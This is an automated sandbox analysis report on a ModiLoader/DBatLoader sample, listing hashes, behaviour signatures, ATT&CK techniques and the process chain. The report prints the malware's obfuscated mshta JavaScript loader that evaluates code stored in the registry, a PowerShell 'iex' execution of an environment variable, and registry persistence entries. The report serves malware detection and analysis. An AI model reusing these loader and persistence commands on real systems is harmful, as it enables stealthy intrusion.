Analysis
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max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
17-09-2024 10:52
Static task
static1
Behavioral task
behavioral1
Sample
e6a91c0da38a628825c3597189fd2601_JaffaCakes118.exe
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
e6a91c0da38a628825c3597189fd2601_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
e6a91c0da38a628825c3597189fd2601_JaffaCakes118.exe
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Size
331KB
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MD5
e6a91c0da38a628825c3597189fd2601
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SHA1
ffd54838cf3376de66d03f4481c6ff94026f53e5
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SHA256
3a4332dce086f323ac31f1248b687637ef9ff3d3e4416b3bce3dcb6cd4cd0e35
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SHA512
d24ee74204bca8078babe7e96589370116c32de402e9292721ff88fa8fa244e0b79ef2acdd4f20f80470afe676ff82b021c31323c438304f013f795758aa34b1
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SSDEEP
6144:rTlX2afUVMJnGGYONpiG/rpdOpMvh6EEpv6UIFcqiWEiHUpZ:nlX2afBFOyXbaqigUT
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2640 2728 mshta.exe 31 -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
description ioc Process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 55 IoCs
resource yara_rule behavioral1/memory/3068-0-0x0000000000400000-0x000000000045A5E8-memory.dmp modiloader_stage2 behavioral1/memory/3068-2-0x00000000004D0000-0x00000000005AC000-memory.dmp modiloader_stage2 behavioral1/memory/3068-5-0x00000000004D0000-0x00000000005AC000-memory.dmp modiloader_stage2 behavioral1/memory/3068-4-0x00000000004D0000-0x00000000005AC000-memory.dmp modiloader_stage2 behavioral1/memory/3068-3-0x0000000000400000-0x000000000045A5E8-memory.dmp modiloader_stage2 behavioral1/memory/3068-7-0x00000000004D0000-0x00000000005AC000-memory.dmp modiloader_stage2 behavioral1/memory/3068-8-0x00000000004D0000-0x00000000005AC000-memory.dmp modiloader_stage2 behavioral1/memory/3068-9-0x00000000004D0000-0x00000000005AC000-memory.dmp modiloader_stage2 behavioral1/memory/2548-14-0x00000000061B0000-0x000000000628C000-memory.dmp modiloader_stage2 behavioral1/memory/2068-15-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2548-17-0x00000000061B0000-0x000000000628C000-memory.dmp modiloader_stage2 behavioral1/memory/2068-18-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-19-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-20-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-32-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-34-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-41-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-52-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-51-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-50-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-49-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-48-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-47-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-40-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-39-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-38-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-37-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-36-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-35-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-33-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-31-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-30-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-29-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-28-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-27-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-26-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-25-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-46-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-24-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-23-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-21-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/2068-22-0x00000000002A0000-0x00000000003EA000-memory.dmp modiloader_stage2 behavioral1/memory/324-60-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/3068-56-0x00000000004D0000-0x00000000005AC000-memory.dmp modiloader_stage2 behavioral1/memory/324-55-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/324-73-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/324-72-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/324-71-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/324-70-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/324-69-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/324-68-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/324-67-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/324-66-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/324-65-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/324-64-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
pid Process 2068 regsvr32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\95b90e16\\b60cb902.bat\"" regsvr32.exe -
pid Process 2548 powershell.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2548 set thread context of 2068 2548 powershell.exe 35 PID 2068 set thread context of 324 2068 regsvr32.exe 36 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language e6a91c0da38a628825c3597189fd2601_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe -
Modifies registry class 7 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\.2bc0e3f4f\ = "3b8966b6" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\3b8966b6 regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\3b8966b6\shell regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\3b8966b6\shell\open regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\3b8966b6\shell\open\command regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\3b8966b6\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:rVJnMyh0=\"7CUIXQYM\";S03r=new ActiveXObject(\"WScript.Shell\");e4Dokvzc=\"6E\";Xi35lV=S03r.RegRead(\"HKCU\\\\software\\\\xavfqaxj\\\\obnu\");qpOU2f2L=\"k\";eval(Xi35lV);xE3LD4=\"7DhFH\";\"" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\.2bc0e3f4f regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2548 powershell.exe 2548 powershell.exe 2548 powershell.exe 2548 powershell.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe 2068 regsvr32.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 2548 powershell.exe 2068 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2548 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2640 wrote to memory of 2548 2640 mshta.exe 33 PID 2640 wrote to memory of 2548 2640 mshta.exe 33 PID 2640 wrote to memory of 2548 2640 mshta.exe 33 PID 2640 wrote to memory of 2548 2640 mshta.exe 33 PID 2548 wrote to memory of 2068 2548 powershell.exe 35 PID 2548 wrote to memory of 2068 2548 powershell.exe 35 PID 2548 wrote to memory of 2068 2548 powershell.exe 35 PID 2548 wrote to memory of 2068 2548 powershell.exe 35 PID 2548 wrote to memory of 2068 2548 powershell.exe 35 PID 2548 wrote to memory of 2068 2548 powershell.exe 35 PID 2548 wrote to memory of 2068 2548 powershell.exe 35 PID 2548 wrote to memory of 2068 2548 powershell.exe 35 PID 2068 wrote to memory of 324 2068 regsvr32.exe 36 PID 2068 wrote to memory of 324 2068 regsvr32.exe 36 PID 2068 wrote to memory of 324 2068 regsvr32.exe 36 PID 2068 wrote to memory of 324 2068 regsvr32.exe 36 PID 2068 wrote to memory of 324 2068 regsvr32.exe 36 PID 2068 wrote to memory of 324 2068 regsvr32.exe 36 PID 2068 wrote to memory of 324 2068 regsvr32.exe 36 PID 2068 wrote to memory of 324 2068 regsvr32.exe 36
Processes
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C:\Users\Admin\AppData\Local\Temp\e6a91c0da38a628825c3597189fd2601_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\e6a91c0da38a628825c3597189fd2601_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
PID:3068
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:kgEIO64zB="nkcN8i";W8B=new%20ActiveXObject("WScript.Shell");XE92kjYqc="lS";rmlv5=W8B.RegRead("HKCU\\software\\r83FKVbQc\\VYk3wy1");iNb0Vh="MycbAziD";eval(rmlv5);LTnMn6="bH3VqFnJ";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:rwrunzdo2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2548 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
- System Location Discovery: System Language Discovery
PID:324
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD5c27cac9fe961b2f53e534b119c4a062c
SHA167738474d8c738bf18976e2e0371a4522904aad3
SHA256eac034a788fa0821a46256b55426c11acb64aeb9b060b66c37ad475d3ded4182
SHA5126db4a07ec875558c5895ed2f552b47c3b776bb36fe577e8ee8d4c5de8df96dc005ef9a9da594fb52b6b7d775ad8c0243520ae89d9fc9d81f307860c26277dfe3
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Filesize
74B
MD555acd2153902ff4f2b0824b8a9560929
SHA175d72670430fe8eca9785457ff936d1d7cb22102
SHA256e0c34daed461ccf2804976259d10d9bc0e7418aa648e6e6e9f333dc5828fdb31
SHA5129322dc6c6ee55b0d3f0b424568a691582b363f7e60c122bff11d6a641376c5aeab7c6b11c3f200095a4d1149f07aceb7c5d35b3b785a38fe540521376259a14e
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Filesize
10KB
MD536f498a2514b60a1d2d14553a1ff44f1
SHA1f5970ee275cacb7a4e94b8e28a727b7133b2d087
SHA256ca06aed5d4fd3d649468a4060c1f37e32364cb1e982397a46f1f8f7b49ad2292
SHA512cfdd43b6b0a9269c3dcbaf3123575889ccb3707825091919b1a4f5c34150b076764b841eb1184ab2896e2a0bf64fc193e31105b7389c2a35c4f733475bff22dd
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b